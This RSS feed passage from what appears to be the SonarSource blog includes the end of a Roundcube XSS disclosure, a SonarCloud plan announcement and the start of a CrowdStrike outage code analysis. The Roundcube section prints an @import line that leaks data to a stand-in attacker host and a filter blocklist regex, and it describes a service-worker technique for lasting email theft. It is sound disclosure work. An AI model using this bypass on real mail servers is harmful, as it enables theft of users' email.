&lt;code&gt;@import&lt;/code&gt; which can make connections to a remote server. String blocklists are often bypassed by abusing the syntax rules of the language, for example, comments or whitespace. That is probably why Roundcube deletes all characters except &lt;code&gt;a-z(:;&lt;/code&gt; before performing some of the blocklist checks. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static function mod_css_styles($source, $container_id, $allow_remote = false, $prefix = &apos;&apos;)
{        
  // ...
  $stripped = preg_replace(&apos;/[^a-z\(:;]/i&apos;, &apos;&apos;, $source);
  $evilexpr = &apos;expression|behavior|javascript:|import[^a]&apos; . 
      (!$allow_remote ? &apos;|url\((?!data:image)&apos; : &apos;&apos;);
  if (preg_match(&quot;/{$evilexpr}/i&quot;, $stripped)) {
    return &apos;/* evil! */&apos;;
  }
  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;program/lib/Roundcube/rcube_utils.php#L419-L424&lt;/em&gt;&lt;/p&gt;&lt;p&gt;To block &lt;code&gt;@import&lt;/code&gt; rules, the word &lt;code&gt;import&lt;/code&gt; is blocked, except when it is followed by an &lt;code&gt;a&lt;/code&gt; to avoid blocking the valid &lt;code&gt;!important&lt;/code&gt; keyword. This interesting regex can be bypassed, precisely because it is operating on the stripped version of the CSS, not the full CSS. An attacker can simply choose a domain name for their server that starts with an &lt;code&gt;a&lt;/code&gt; and trick the check into seeing &lt;code&gt;importa&lt;/code&gt;, which is allowed.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;regex:    import[^a]
input:    @import &quot;//a.evil.com/leak&quot;
stripped: importaevilcomleak&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After the blocklist check, the original unstripped CSS is used for rendering the email. The smuggled &lt;code&gt;@import&lt;/code&gt; can now import arbitrary unfiltered CSS to leak the UID from an attribute on the page using the known &lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#import&quot;&gt;import-based CSS leak technique&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the same CSS filter bypass, the attacker can add styles that make a link in the email very large and overlay other elements. For demonstration purposes, we have colored this overlaid link in red:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f2508ee3-649e-4cbe-bda5-2db4e6392c14/image1.png&quot; /&gt;&lt;p&gt;As soon as the victim clicks somewhere in the email view portion of the Roundcube page, the overlayed link is clicked instead. The link points to the attacker server, which redirects the victim to the malicious attachment using the now leaked UID, triggering the XSS payload. &lt;/p&gt;&lt;h3&gt;Service Workers for Persistent XSS&lt;/h3&gt;&lt;p&gt;We have seen that an old issue of unsafe Content-Type headers can be combined with a new CSS leak to trigger a Stored XSS vulnerability. A usual Stored XSS vulnerability triggers every time the victim views the stored payload. In the case of emails, this is probably only once and then the email gets deleted, meaning that the attacker can also only steal emails once. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, in the case of Roundcube, motivated attackers can go a step further and achieve persistence to steal emails long after the XSS payload has been triggered. They can combine the building block we already have – unsafe Content-Types for attachments – with service workers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API&quot;&gt;service worker&lt;/a&gt; is a script that the browser executes for every HTTP request on the page. It can be registered by any normal JavaScript on the page. The service worker can change the response to intercepted requests, usually for caching purposes. A malicious service worker, however, can abuse this power to add new scripts to the server&amp;#x27;s HTML response. Service workers are in effect across page loads and browser restarts, even if the worker is never registered again.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://www.w3.org/TR/service-workers/#security-considerations&quot;&gt;service worker specification&lt;/a&gt; mitigates the risk of malicious service workers in multiple ways: A service worker script must be hosted on the same origin and served with a JavaScript Content-Type header. A Content-Security-Policy served together with the script applies to the script as well. Lastly, a service worker can only influence requests that are on the same or more nested path level than the path where the script was served.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All mitigations do not apply in the Roundcube case: Attackers can serve JavaScript files as email attachments on the Roundcube server, the same way they can serve a dangerous XML file. Roundcube does not use a CSP that could prevent the service worker registration. It also does not use paths for routing, only query parameters, so the attachment containing the service worker script is served at the root path.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers can create a malicious service worker using one of the two XSS vulnerabilities, put the service worker script inside an email attachment, and use that attachment&amp;#x27;s URL for registration. The service worker can then add email- or password-stealing logic on every page load of Roundcube, as we have demonstrated in the Proof-of-Concept video above. This diagram summarizes the exploit steps:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c202ced3-69f8-4497-b6fc-282c7271c0f8/Roundcube%20XSS%20Infographic.png&quot; /&gt;&lt;h2&gt;Patches&lt;/h2&gt;&lt;p&gt;The Roundcube maintainers fixed all findings in a straightforward way.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Desanitization issue (CVE-2024-42009) was addressed by removing the post-processing step that caused the vulnerability.&lt;/p&gt;&lt;pre&gt;&lt;code&gt; public static function message_body($attrib)
 {
   // ...
   $body = self::print_body($body, $part, $body_args);
   // ...
-  if ($part-&gt;ctype_secondary == &apos;html&apos;) {
-     $body = self::html4inline($body, $body_args); 
-  }
   $out .= html::div($body_args[&apos;container_attrib&apos;], $plugin[&apos;prefix&apos;] . $body);
   // ...
 }
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;40a4a71: program/actions/mail/show.php&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Instead, the &amp;quot;legacy attribute to style&amp;quot; conversion was moved into the sanitization process as a hook named &lt;code&gt;washtml_callback&lt;/code&gt; (&lt;a href=&quot;https://github.com/roundcube/roundcubemail/commit/40a4a71b675f370b98edb79e50561f8de2c04397#diff-d67d9469ee02ce1280d5f73a36af1ad89ba3b00766191fb08ff70e69726aa4f4&quot;&gt;40a4a71: program/actions/mail/index.php&lt;/a&gt;). The sanitizer uses more robust attribute parsing compared to the buggy regex and the attribute values are properly escaped, preventing any malicious attributes from breaking out.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Dangerous MIME types (CVE-2024-42008) are now converted to the harmless &lt;code&gt;text/plain&lt;/code&gt;. Attachments are now also served with a restrictive CSP as an additional defense mechanism.&lt;/p&gt;&lt;pre&gt;&lt;code&gt; public function download_headers($filename, $params = [])
 {
   // ...
+  if ($disposition == &apos;inline&apos;) {
+  if (preg_match(&apos;~(javascript|jscript|ecmascript|xml|html|text/)~i&apos;, $ctype)) {
+    $ctype = &apos;text/plain&apos;;
+  }
   // ...
+  // Use strict security policy to make sure no javascript content is executed
+  header(&quot;Content-Security-Policy: default-src &apos;none&apos;&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;78cc630: program/lib/Roundcube/rcube_output.php &lt;/em&gt;&lt;/p&gt;&lt;p&gt;The bypassable CSS filter (CVE-2024-42010) was improved by actually searching for &lt;code&gt;@import&lt;/code&gt; and no longer operating on stripped CSS, among other changes.&lt;/p&gt;&lt;pre&gt;&lt;code&gt; public static function mod_css_styles($source, $container_id, $allow_remote = false, $prefix = &apos;&apos;)
 {
   // ...
   $source = self::xss_entity_decode($source);
-  $stripped = preg_replace(&apos;/[^a-z\(:;]/i&apos;, &apos;&apos;, $source);
-  $evilexpr = &apos;expression|behavior|javascript:|import[^a]&apos; . (!$allow_remote ? &apos;|url\((?!data:image)&apos; : &apos;&apos;);
 
-  if (preg_match(&quot;/{$evilexpr}/i&quot;, $stripped)) {
+    // No @import allowed
+    // TODO: We should just remove it, not invalidate the whole content
+    if (stripos($source, &apos;@import&apos;) !== false) {
       return &apos;/* evil! */&apos;;
     }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;c99dcac: program/lib/Roundcube/rcube_utils.php&lt;/em&gt;&lt;/p&gt;&lt;p&gt;If you happen to develop web mailer software yourself, you can take multiple defense-in-depth measures to better protect against XSS: Sanitize the untrusted HTML with a client-side sanitizer like &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt; to &lt;a href=&quot;https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/&quot;&gt;protect against mXSS&lt;/a&gt;. Avoid any modifications of the sanitized HTML to prevent Desanitization. You can then render the HTML inside a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#sandbox&quot;&gt;sandboxed iframe&lt;/a&gt;, which disables JavaScript inside the iframe. This also prevents malicious CSS in the email from changing the surrounding page or leaking data from the page, as the iframe is a completely separate document. We also recommend using a strong CSP with nonces or hashes to further mitigate any HTML injections and prevent information leaks.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;We want to thank the Roundcube maintainer Aleksander Machniak for the quick response and for publishing patches for the issues.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-06-18&lt;/td&gt;&lt;td&gt;We report all issues to the Roundcube maintainers.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-06-18&lt;/td&gt;&lt;td&gt;The maintainers acknowledge our report.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-07-17&lt;/td&gt;&lt;td&gt;The maintainers send patches for review.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-07-18&lt;/td&gt;&lt;td&gt;We send feedback for the patches.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-08-04&lt;/td&gt;&lt;td&gt;The maintainers publish patched Roundcube &lt;a href=&quot;https://github.com/roundcube/roundcubemail/releases/tag/1.6.8&quot; data-new-window=&quot;true&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;versions 1.6.8&lt;/a&gt; and &lt;a href=&quot;https://github.com/roundcube/roundcubemail/releases/tag/1.5.8&quot; data-new-window=&quot;true&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;1.5.8&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-08-05&lt;/td&gt;&lt;td&gt;We publish an initial blog post, withholding details about the vulnerabilities.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-08-05&lt;/td&gt;&lt;td&gt;MITRE publishes CVE-2024-42008, CVE-2024-42009, and CVE-2024-42010.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-08-27&lt;/td&gt;&lt;td&gt;We update this blog post with full technical details.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we showcased multiple vulnerabilities in Roundcube and how attackers could combine them to continuously steal emails from unsuspecting victims. Threat intel by &lt;a href=&quot;https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/&quot;&gt;ESET Research&lt;/a&gt; and &lt;a href=&quot;https://www.recordedfuture.com/russia-aligned-tag-70-targets-european-government-and-military-mail&quot;&gt;Insikt Group&lt;/a&gt; about the APT Winter Vivern confirms that the abuse of these vulnerabilities for cyber espionage is a real threat and not just speculation. We took a deep dive into the code, figuring out the source of the vulnerabilities and also how they were fixed. Finally, we gave some general recommendations on how to prevent XSS vulnerabilities in web mailing software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The source code of projects like Roundcube, which has been around for almost 20 years, can be very convoluted, which increases the risk of security vulnerabilities. Adopting &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code principles&lt;/a&gt; can shed light on the dark corners that have emerged over time. By ensuring that the code remains maintainable, reliable, and secure, developers can more easily identify and address complex security issues such as Desanitization that are often hidden in convoluted code.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Code Vulnerabilities Put Proton Mails at Risk&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pitfalls-of-desanitization-leaking-customer-data-from-osticket/&quot;&gt;Pitfalls of Desanitization: Leaking Customer Data from osTicket&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/&quot;&gt;mXSS: The Vulnerability Hiding in Your Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/odoo-get-your-content-type-right-or-else/&quot;&gt;Odoo: Get your Content Type right, or else!&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Now Introducing, SonarCloud Enterprise and SonarCloud Team]]></title><description><![CDATA[We are excited to expand our SonarCloud offering with the availability of two new plans, SonarCloud Enterprise and SonarCloud Team.]]></description><link>https://www.sonarsource.com/blog/now-introducing-sonarcloud-enterprise-and-sonarcloud-team</link><guid isPermaLink="false">bc27a567-1cb2-5ba4-8f2e-f2ac7b976ff5</guid><dc:creator><![CDATA[Andrew Osborne]]></dc:creator><pubDate>Wed, 31 Jul 2024 05:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;Since its launch in 2018, SonarCloud’s growth has been exciting and impressive. Today, over 3.6B lines of code (LOC) are continuously analyzed for issues relating to reliability, security, and maintainability across 179k active projects and 16k companies. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud analyzes the quality and security of source code for both human-developed and AI-assisted code at scale.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Introducing new plans for SonarCloud&lt;/h2&gt;&lt;p&gt;Today we are excited to expand our SonarCloud offering with the availability of two new plans, SonarCloud Enterprise and SonarCloud Team. With the new Enterprise and Team plans for SonarCloud, Sonar empowers development teams of all sizes to deliver &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt; with confidence.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;The SonarCloud Enterprise plan&lt;/strong&gt; delivers a range of advanced features and is now available via an early access program. It delivers single sign-on (SSO) via SAML, enterprise hierarchy, management reporting, portfolios, org-wide project configuration, and support for enterprise-specific languages such as COBOL. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We intend to build upon these features in the coming months, adding enterprise billing, scalable token management, synchronized access management, and US hosting (to complement the existing EU hosting). In addition, the Enterprise plan includes access to commercial support and a dedicated SLA. We welcome you to &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/contact-enterprise-sales/&quot;&gt;contact us&lt;/a&gt; to learn more about the value these features bring, and to try them for yourself.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For new SonarCloud projects, the following features will be exclusively available with the SonarCloud Enterprise plan: enterprise languages (ABAP, COBOL, RPG, PL/I, Apex), GitHub Advanced security integration, org-level Project management, and Quality Profile delegate permissions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;More about the new SonarCloud Enterprise features&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;SSO (Single Sign-On) authentication through SAML&lt;/strong&gt; delivers increased security and a single source of truth for user authentication at the enterprise level.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Today, we cover Microsoft Entra ID as well as other providers (IdPs) such as Okta and JumpCloud. This will allow enterprise users to connect through their company’s centralized identity provider. Authentication via the DevOps platform will still be available.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/668f28dc-a917-4714-8b66-09ab6d6c8869/SSO%20Page.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Enterprise hierarchy&lt;/strong&gt; delivers the ability to group organizations into an enterprise, independently from the DevOps platform(s). This solves the challenge for large enterprises that have multiple organizations and need a way to manage these. It also paves the way for portfolios to be created across multiple organizations.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f8275fad-dbdd-41e7-ba1b-da9253bd8d56/3%20-%20upgrade%20to%20enterprise%20-%203.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Portfolios&lt;/strong&gt; enable managers to group together projects into a portfolio and identify which needs focus and in what respect. Providing a bird&amp;#x27;s eye view of projects that may span organizations within an Enterprise, managers can be directed toward the projects needing the most attention.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/24d46a3b-cb1e-4a64-98fa-7eb779b54f75/Portfolios%20SC.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Management reporting&lt;/strong&gt; offers Project and Security reports similar to those found in SonarQube. &lt;/p&gt;&lt;p&gt;It delivers a view of the state of an enterprise’s projects and highlights any issues you may have from the point of view of a range of industry security metrics (PCI DSS, OWASP, and CWE Top 25).&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ed234aa7-4b0a-48bd-ba56-b093485b2a9a/Security%20report.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Org-wide project configuration&lt;/strong&gt; eases the pain of onboarding and managing high volumes of projects. This feature allows users to configure default settings that can be applied to all projects at onboarding.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4a944312-44a6-4569-8a87-8da8f17cbedd/8%20-%20org-wide%20project%20settings%20-%202a3.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;The SonarCloud Team plan&lt;/strong&gt; delivers essential capabilities for small development teams and businesses, both from an ecosystem integration and collaboration perspective. It provides a reliable SaaS solution delivering branch analysis, pull request decoration, and support for 28 languages and frameworks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the Team plan, developers can scan both public and private projects for actionable insights that enable consistent and efficient Clean Code delivery all in a simple, fast time-to-value SaaS model hosted by Sonar. Teams also have control to define the quality standard they want their codebase to follow. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Simplified pricing&lt;/strong&gt; based on lines of code benefits both Team and Enterprise plans. Additionally, SonarCloud is now available on &lt;a href=&quot;https://aws.amazon.com/marketplace/pp/prodview-xmhesofteb52w&quot;&gt;AWS Marketplace&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We will continue to offer our &lt;strong&gt;Free SonarCloud plan&lt;/strong&gt; to support open-source projects.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Next Steps&lt;/h2&gt;&lt;p&gt;We are excited to continue investing in SonarCloud to equip teams and enterprises to deliver clean code. We value your continued support and, as always, encourage you to engage with us via our &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;Community&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/roadmap/&quot;&gt;public roadmap&lt;/a&gt;. Your feedback is a gift.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you have any questions or would like to learn more about the new enterprise features and how to try them, reach out to your account manager or contact us &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/contact-enterprise-sales/&quot;&gt;here&lt;/a&gt; to discover more. We would love to continue the conversation.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What Code Issues Caused the CrowdStrike Outage?]]></title><description><![CDATA[This blog post takes a look at the potential code issues behind the recent global CrowdStrike outage.]]></description><link>https://www.sonarsource.com/blog/what-code-issues-caused-the-crowdstrike-outage</link><guid isPermaLink="false">51dac5c1-e581-5fbd-8913-7dbfa0a1d58c</guid><dc:creator><![CDATA[Sonar]]></dc:creator><pubDate>Thu, 25 Jul 2024 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Update 07AUG2024&lt;/strong&gt;:&lt;em&gt; CrowdStrike released a &lt;a href=&quot;https://www.crowdstrike.com/wp-content/uploads/2024/08/Channel-File-291-Incident-Root-Cause-Analysis-08.06.2024.pdf&quot;&gt;technical root cause analysis&lt;/a&gt; that confirms that an array out-of-bounds read, very similar to &lt;a href=&quot;https://www.sonarsource.com/blog/what-code-issues-caused-the-crowdstrike-outage/#outofbound-memory-access&quot;&gt;our example&lt;/a&gt;, caused the issue.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On 19 July 2024, an estimated 8.5 million Windows computers worldwide crashed and were unable to reboot, stuck in a blue screen of death. The outage impacted businesses and governments around the globe, affecting a vast majority of industries in transportation, financial services, healthcare, and more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not unexpectedly, this immediately raised fears of a large-scale cyber attack. Was this the long-feared global hacker attack aimed at disrupting our computer-based world and causing chaos worldwide? Thankfully, no. Within hours after the outage, CrowdStrike confirmed that a faulty update in their endpoint protection software, specifically its Falcon Sensor, caused the issue.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While the affected source code is not published, this blog post summarizes what CrowdStrike has publicly confirmed and examines code-level problems that could have led to this global outage. Our goal is to shed light on what type of bugs can lead to such serious software reliability issues in general and why catching code issues early in the development process is as important as catching security vulnerabilities.&lt;/p&gt;&lt;h2&gt;What Happened: What we Know so Far (25JULY2024)&lt;/h2&gt;&lt;p&gt;CrowdStrike Falcon Sensor is a lightweight agent that collects endpoint data and protects a computer from cyberattacks. To monitor system processes, detect malicious activity, and respond to threats in real time, it needs access to low-level system functions. This requires it to run a Windows kernel driver, which is usually written in C and C++. Since it should not be allowed to disable the protection easily, this driver is marked as a &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/install/installing-a-boot-start-driver&quot;&gt;Boot-Start driver&lt;/a&gt;, which makes it mandatory for Windows startup.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This means that Falcon becomes a very important, sensitive component of the operating system once installed. To recap: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;The kernel driver is required for Windows to boot.&lt;/li&gt;&lt;li&gt;The kernel driver has extensive capabilities to interact directly with hardware, manage system resources, and access protected memory.&lt;/li&gt;&lt;li&gt;The kernel driver influences the operating system&amp;#x27;s core behavior.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Due to the immense responsibility and trust put in kernel drivers, they usually must surpass extensive testing via &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/install/whql-release-signature&quot;&gt;Microsoft’s Windows Update program&lt;/a&gt;. Driver packages that pass the tests of the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/test/hlk/&quot;&gt;Windows Hardware Lab Kit&lt;/a&gt; are digitally signed by Microsoft and marked as trustworthy. Although Falcon’s driver itself is also signed, complete testing via the Windows Hardware Lab Kit requires time. In order to quickly respond to novel techniques of cyber threat actors, Falcon needs to employ a more flexible approach to make changes to its kernel driver. For this purpose, CrowdStrike provides &lt;a href=&quot;https://www.crowdstrike.com/falcon-content-update-remediation-and-guidance-hub/&quot;&gt;&lt;em&gt;Rapid Response Content&lt;/em&gt;&lt;/a&gt; that is delivered in the form of a content configuration update. These updates contain &lt;em&gt;Channel Files&lt;/em&gt; that the driver dynamically loads. These files influence the way how the kernel drivers work. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The update that caused the outage contained a faulty channel file, which resulted in the kernel driver reading memory out-of-bounds [&lt;a href=&quot;https://www.crowdstrike.com/falcon-content-update-remediation-and-guidance-hub/&quot;&gt;source&lt;/a&gt;]. While a user-land application would simply crash by an issue like this, a kernel driver sitting at the heart of the operating system causes the whole system to crash – resulting in the infamous blue screen we have seen during the outage.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Exploring Potential Root Cause in the Code&lt;/h2&gt;&lt;p&gt;The incident has intrigued experts around the world who were interested in determining the exact root cause of this memory out-of-bounds issue. Although some of these were already proven to be wrong, and CrowdStrike has not disclosed the faulty source code, let’s have a look at scenarios that may have caused an issue like this.&lt;/p&gt;&lt;h3&gt;Null Pointer Dereference&lt;/h3&gt;&lt;p&gt;A pointer in C and C++ is a variable that stores a memory address, allowing direct manipulation of data and efficient memory management. A pointer to null, also known as a &lt;em&gt;null pointer&lt;/em&gt;, is created by initializing a pointer object to &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;NULL&lt;/code&gt;, or in the case of C++ &lt;code&gt;nullptr&lt;/code&gt;. A null pointer does neither point to an object nor to valid memory, and as a consequence dereferencing or accessing the memory pointed by such a pointer is undefined behavior, which usually results in a whole system crash for a kernel driver:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int deref() {
  int* ptr = 0;
  // Noncompliant: dereference of a null pointer
  return *ptr;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In addition to using the &lt;code&gt;*&lt;/code&gt; operator, accessing a member of a structure (using &lt;code&gt;-&amp;gt;&lt;/code&gt;) or an element of an array (using &lt;code&gt;[]&lt;/code&gt;) also dereferences the pointer and very likely causes a crash if performed on a pointer to null:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct Aggregate {
  int x;
  int y;
};

int memberAccess() {
  struct Aggregate* ptr = 0;
  // Noncompliant: member access on a null pointer
  return ptr-&gt;x; 
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can find out more about Null Pointer Dereferences in our &lt;a href=&quot;https://rules.sonarsource.com/c/RSPEC-2259/&quot;&gt;S2259&lt;/a&gt; rule documentation. While the security community suspected a Null Pointer Dereference behind the outage at the beginning [&lt;a href=&quot;https://x.com/perpetualmaniac/status/1814376668095754753?s=46&amp;t=xQzuQfNWAdUTDkpxG33rKw&quot;&gt;source&lt;/a&gt;], this was later proven wrong [&lt;a href=&quot;https://x.com/taviso/status/1814762302337654829&quot;&gt;source&lt;/a&gt;]. Rather, it is suspected that an uninitialized variable could be the root cause.&lt;/p&gt;&lt;h3&gt;Uninitialized Variables&lt;/h3&gt;&lt;p&gt;Local variables in C and C++ must be declared to allocate memory and can optionally be initialized with a specific value upon declaration. A local variable of any built-in type (such as &lt;code&gt;int&lt;/code&gt;, &lt;code&gt;float&lt;/code&gt;, and pointers), declared without an initial value, is not initialized to any particular value as this process incurs a slight computational overhead. Consequently, if no value is assigned to such a variable first, the variable holds an arbitrary value left in its memory location by previous program operations, likely resulting in unintended behavior:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int addition() {
  // x is not initialized
  int x;  
  // Noncompliant: value of x undefined
  return x + 10;
}

int dereference() {
  // p is not initialized
  int* p;
  // Noncompliant: value of p undefined
  return *p; 
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Similarly, structures that simply aggregate variables of built-in types, such as arrays or &lt;code&gt;struct&lt;/code&gt;/&lt;code&gt;class&lt;/code&gt; types without a constructor, will not initialize their members when declared without an initializer:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct Aggregate {
  int i;
  float f;
};

void aggregates() {
   // each element of array is not initializer
  int* intArray[5];
  // members aggr.i, agrr.f are not initialized
  Aggregate aggr; 
  // members of each element are not initialized
  Aggregate aggrArray[2]; 
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, allocating objects of builtin or such aggregates types on the heap also does not initialize their values:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void usingMalloc() {
  // each of 10 allocated integers is not initialized
  int* intArr = (int*)malloc(sizeof(int) * 10);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This also applies when &lt;code&gt;new&lt;/code&gt; is used in C++:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void usingNew() {
  // members of allocated Aggregate are not initialized
  Aggregate* aggrPtr = new Aggregate;   
  Aggregate* aggrArr = new Aggregate[5]; 
